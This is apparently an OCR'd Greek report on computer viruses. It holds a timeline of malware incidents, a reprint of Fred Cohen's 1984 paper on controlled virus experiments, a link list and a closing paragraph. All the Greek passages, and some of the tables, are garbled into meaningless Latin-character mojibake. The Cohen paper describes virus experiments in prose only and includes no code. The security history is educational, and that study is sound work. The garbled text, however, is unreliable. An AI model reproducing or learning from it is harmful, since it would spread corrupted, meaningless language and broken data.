. 28 Iouviou: Epeuvntéc dnAwaoav OTI o Essebar iowc eivalr uneubuvoc yia

2007

nepioooTEPOUG and 20 aAAoug 100G, oupnepiAauBavovTag Tnv napaiiayn
Tou Mydoom, Mydoom-BG, kal To OXeTIKO JE TO Zotob okouAnki Mytob.

7 Iavouapiou: 'Eva okouAnkl ¢Tiaypevo ano hackers Tng dnuo@iAoug
IoTooeAidag MySpace avakaAUu@enke and NoAAoUG XpPNOTeG TNG ogAidac.
Kdanoliec oeAidec dev ennppedoTnkayv, aAAd KAnoiec aAAec eppavilav To
ovopa wOrm.EricAndrew.O1 hackers, Eric kal Andrew aAAa&av AEEgig kal
npooBeoav npaypata o€ oeAideC AAAwWV.

. 17 Iavouapiou: O trojan Peacomm avakaAu@ponke w¢ yprnyopa S1adwHEVO

spam, nioTeveTal 0TI NPoNABE ano Tnv Pwaoaia, npoonabwvTag va neioel
Ta OUpaTa va kateacouv ouvnUUEVO TO oMnoio unoTiBeTal OTI €ival Taivia.
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MNapapTnua B
Fred Cohen - Experiments with Computer Viruses

(c)1984, Fred Cohen - All Rights Reserved

To demonstrate the feasibility of viral attack and the degree to which it is
a threat, several experiments were performed. In each case, experiments were
performed with the knowledge and consent of systems administrators. In the
process of performing experiments, implementation flaws were meticulously
avoided. It was critical that these experiments not be based on implementation
lapses, but only on fundamental flaws in security policies.

The First Virus

On November 3, 1983, the first virus was conceived of as an experiment to
be presented at a weekly seminar on computer security. The concept was first
introduced in this seminar by the author, and the name 'virus' was thought of
by Len Adleman. After 8 hours of expert work on a heavily loaded VAX 11/750
system running Unix, the first virus was completed and ready for
demonstration. Within a week, permission was obtained to perform
experiments, and 5 experiments were performed. On November 10, the virus
was demonstrated to the security seminar.

The initial infection was implanted in 'vd', a program that displays Unix file
structures graphically, and introduced to users via the system bulletin board.
Since vd was a new program on the system, no performance characteristics or
other details of its operation were known. The virus was implanted at the
beginning of the program so that it was performed before any other
processing.

In order to keep the attack under control several precautions were taken. All
infections were performed manually by the attacker, and no damage was done,
only reporting. Traces were included to assure that the virus would not spread
without detection, access controls were used for the infection process, and the
code required for the attack was kept in segments, each encrypted and
protected to prevent illicit use.

In each of five attacks, all system rights were granted to the attacker in
under an hour. The shortest time was under 5 minutes, and the average under
30 minutes. Even those who knew the attack was taking place were infected.
In each case, files were 'disinfected' after experimentation to assure that no
user's privacy would be violated. It was expected that the attack would be
successful, but the very short takeover times were quite surprising. In
addition, the virus was fast enough (under 1/2 second) that the delay to
infected programs went unnoticed.

Once the results of the experiments were announced, administrators decided
that no further computer security experiments would be permitted on their
system. This ban included the planned addition of traces which could track
potential viruses and password augmentation experiments which could
potentially have improved security to a great extent. This apparent fear
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reaction is typical, rather than try to solve technical problems technically,
policy solutions are often chosen.

After successful experiments had been performed on a Unix system, it was
quite apparent that the same techniques would work on many other systems.
In particular, experiments were planned for a Tops-20 system, a VMS system,
a VM/370 system, and a network containing several of these systems. In the
process of negotiating with administrators, feasibility was demonstrated by
developing and testing prototypes. Prototype attacks for the Tops-20 system
were developed by an experienced Tops-20 user in 6 hours, a novice VM/370
user with the help of an experienced programmer in 30 hours, and a novice
VMS user without assistance in 20 hours. These programs demonstrated the
ability to find files to be infected, infect them, and cross user boundaries.

After several months of negotiation and administrative changes, it was
decided that the experiments would not be permitted. The security officer at
the facility was in constant opposition to security experiments, and would not
even read any proposals. This is particularly interesting in light of the fact that
it was offered to allow systems programmers and security officers to observe
and oversee all aspects of all experiments. In addition, systems administrators
were unwilling to allow sanitized versions of log tapes to be used to perform
offline analysis of the potential threat of viruses, and were unwilling to have
additional traces added to their systems by their programmers to help detect
viral attacks. Although there is no apparent threat posed by these activities,
and they require little time, money, and effort, administrators were unwilling
to allow investigations. It appears that their reaction was the same as the fear
reaction of the Unix administrators.

A Bell-LaPadula Based System

In March of 1984, negotiations began over the performance of experiments
on a Bell-LaPadula [Bell73] based system implemented on a Univac 1108. The
experiment was agreed upon in principal in a matter of hours, but took several
months to become solidified. In July of 1984, a two week period was arranged
for experimentation. The purpose of this experiment was merely to
demonstrate the feasibility of a virus on a Bell-LaPadula based system by
implementing a prototype.

Because of the extremely limited time allowed for development (26 hours of
computer usage by a user who had never used an 1108, with the assistance of
a programmer who hadn't used an 1108 in 5 years), many issues were ignored
in the implementation. In particular, performance and generality of the attack
were completely ignored. As a result, each infection took about 20 seconds,
even though they could easily have been done in under a second. Traces of the
virus were left on the system although they could have been eliminated to a
large degree with little effort. Rather than infecting many files at once, only
one file at a time was infected. This allowed the progress of a virus to be
demonstrated very clearly without involving a large number of users or
programs. As a security precaution, the system was used in a dedicated mode
with only a system disk, one terminal, one printer, and accounts dedicated to
the experiment.
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After 18 hours of connect time, the 1108 virus performed its first infection.
The host provided a fairly complete set of user manuals, use of the system,
and the assistance of a competent past user of the system. After 26 hours of
use, the virus was demonstrated to a group of about 10 people including
administrators, programmers, and security officers. The virus demonstrated
the ability to cross user boundaries and move from a given security level to a
higher security level. Again it should be emphasized that no system bugs were
involved in this activity, but rather that the Bell-LaPadula model allows this
sort of activity to legitimately take place.

All in all, the attack was not difficult to perform. The code for the virus
consisted of 5 lines of assembly code, about 200 lines of Fortran code, and
about 50 lines of command files. It is estimated that a competent systems
programmer could write a much better virus for this system in under 2 weeks.
In addition, once the nature of a viral attack is understood, developing a
specific attack is not difficult. Each of the programmers present was convinced
that they could have built a better virus in the same amount of time. (This is
believable since this attacker had no previous 1108 experience.)

Instrumentation

In early August of 1984, permission was granted to instrument a VAX Unix
system to measure sharing and analyze viral spreading. Data at this time is
quite limited, but several trends have appeared. The degree of sharing appears
to vary greatly between systems, and many systems may have to be
instrumented before these deviations are well understood. A small number of
users appear to account for the vast majority of sharing, and a virus could be
greatly slowed by protecting them. The protection of a few 'social' individuals
might also slow biological diseases. The instrumentation was conservative in
the sense that infection could happen without the instrumentation picking it
up, so estimated attack times are unrealistically slow.

As a result of the instrumentation of these systems, a set of 'social' users
were identified. Several of these surprised the main systems administrator.
The number of systems administrators was quite high, and if any of them were
infected, the entire system would likely fall within an hour. Some simple
procedural changes were suggested to slow this attack by several orders of
magnitude without reducing functionality.

Summary of Spreading

system 1 system 2
class| ## |spread| time | class| ## |spread| time |
| S| 3 | 22 ] 0] | S| 5 | 160 1 |
| Al 1 | 1] O] | A | 7 | 78] 120 |
| U]l 4 | 5118 | | U | 7 | 24600 |
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Two systems are shown, with three classes of users (S for system, A for
system administrator, and U for normal user). '##' indicates the number of
users in each category, 'spread' is the average number of users a virus would
spread to, and 'time' is the average time taken to spread them once they
logged in, rounded up to the nearest minute. Average times are misleading
because once an infection has reaches the 'root' account on Unix, all access is
granted. Taking this into account leads to takeover times on the order of one
minute which is so fast that infection time becomes a limiting factor in how
quickly infections can spread. This coincides with previous experimental results
using an actual virus.

Users who were not shared with are ignored in these calculations, but other
experiments indicate that any user can get shared with by offering a program
on the system bulletin board. Detailed analysis demonstrated that systems
administrators tend to try these programs as soon as they are announced. This
allows normal users to infect system files within minutes. Administrators used
their accounts for running other users' programs and storing commonly
executed system files, and several normal users owned very commonly used
files. These conditions make viral attack very quick. The use of seperate
accounts for systems administrators during normal use was immediately
suggested, and the systematic movement (after verification) of commonly
used programs into the system domain was also considered.

Other Experiments

Similar experiments have since been performed on a variety of systems to
demonstrate feasibility and determine the ease of implementing a virus on
many systems. Simple viruses have been written for VAX VMS and VAX Unix in
the respective command languages, and neither program required more than
10 lines of command language to implement. The Unix virus is independent of
the computer on which it is implemented, and is therefore able to run under
IDRIS, VENIX, and a host of other UNIX based operating systems on a wide
variety of systems. A virus written in Basic has been implemented in under 100
lines for the Radio Shack TRS-80, the IBM PC, and several other machines with
extended Basic capabilities. Although this is a source level virus and could be
detected fairly easily by the originator of any given program, it is rare that a
working program is examined by its creator after it is in operation. In all of
these cases, the viruses have been written so that the traces in the respective
operating systems would be incapable of determining the source of the virus
even if the virus itself had been detected. Since the UNIX and Basic virus could
spread through a heterogeneous network so easily, they are seen as quite
dangerous.

As of this time, we have been unable to attain permission to either
instrument or experiment on any of the systems that these viruses were
written for. The results attained for these systems are based on very simple
examples and may not reflect their overall behavior on systems in normal use.
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Summary and Conclusions

The following table summarizes the results of the experiments to date. The
three systems are across the horizontal axis (Unix, Bell-LaPadula, and
Instrumentation), while the vertical axis indicates the measure of performance
(time to program, infection time, number of lines of code, number of
experiments performed, minimum time to takeover, average time to takeover,
and maximum time to takeover) where time to takeover indicates that all
privilages would be granted to the attacker within that delay from introducing
the virus.

Summary of Attacks
| Unix-C| B-L | Instr |[Unix-sh| VMS | Basic |

Time |8 hrs |18 hrs| N/A | 15min | 30min | 4 hrs |

Inft |.5sec|20sec| N/A | 2sec| 2sec| 10 sec|

Code |2001]2601| N/A | 71 | 91 |100I |

Trials | 5 | N/A | NJA | N/A | NJA | N/A |

Mint | 5min| N/A |30sec| N/A | N/A | N/A |

Avgt [30min| N/A |30 min| N/A | N/A | N/A |

Maxt |60 min| N/A |48 hrs| N/A | N/A | N/A |

Viral attacks appear to be easy to develop in a very short time, can be
designed to leave few if any traces in most current systems, are effective
against modern security policies for multilevel usage, and require only minimal
expertise to implement. Their potential threat is severe, and they can spread
very quickly through a computer system. It appears that they can spread
through computer networks in the same way as they spread through
computers, and thus present a widespread and fairly immediate threat to
many current systems.

The problems with policies that prevent controlled security experiments are
clear; denying users the ability to continue their work promotes illicit attacks;
and if one user can launch an attack without using system bugs or special
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knowledge, other users will also be able to. By simply telling users not to
launch attacks, little is accomplished; users who can be trusted will not launch
attacks; but users who would do damage cannot be trusted, so only legitimate
work is blocked. The perspective that every attack allowed to take place
reduces security is in the author's opinion a fallacy. The idea of using attacks
to learn of problems is even required by government policies for trusted
systems [Klein83] [Kaplan82]. It would be more rational to use open and
controlled experiments as a resource to improve security.
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http://www.in.gr/tech/virus-sco-linux.asp

http://www.securitymanager.gr/protection_viruses.html

http://www.e-yliko.gr/safety/svirus3.htm

http://www.de.sch.gr/~antoniou/MyPage/Safelnternet/Disinfect.htm

http://dide.fth.sch.gr/docs/689i0s2000.htm

http://www.bueche.ch/comp/iloveyou/index.html

http://www.62nds.co.nz/62nds/documents/iloveyou.txt
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“~..' MoAA\oi eival autoi nou
loxupidovtal 6t n aocpaAeia
oto Internet gival évas
HUBos. Qs éva onpeio €xouv
6ik10 6Ao1 autd agou n
ouVvIPINTIKA NAEIOPNPia twv \
npoypappatwv nou
XPNolgonoloUpe €Xouv Keva
otnv aocPAaAeid tous Kai
undpXxouv apKEToi Nou oev
gXouv Kavéva npoBAnpa va
10 EKPJETAAAEUTOUV VIO VA
anokthoouv npdofacn otov
unoAoyloth pas. Autous T0US
KIvOUVOUS TOUS
avupetwniouv 0Aol ol
KATOIKOI TNS ['NS nou €xouv
npooBaon oto Internet. Opws
onws yia 6Aa ta npoPfAnpata
s {wNS pas unapxel pia
Auon €101 Kal yia ta
npofAnpata tou Aladiktuou
unapxouv AUOEIS.





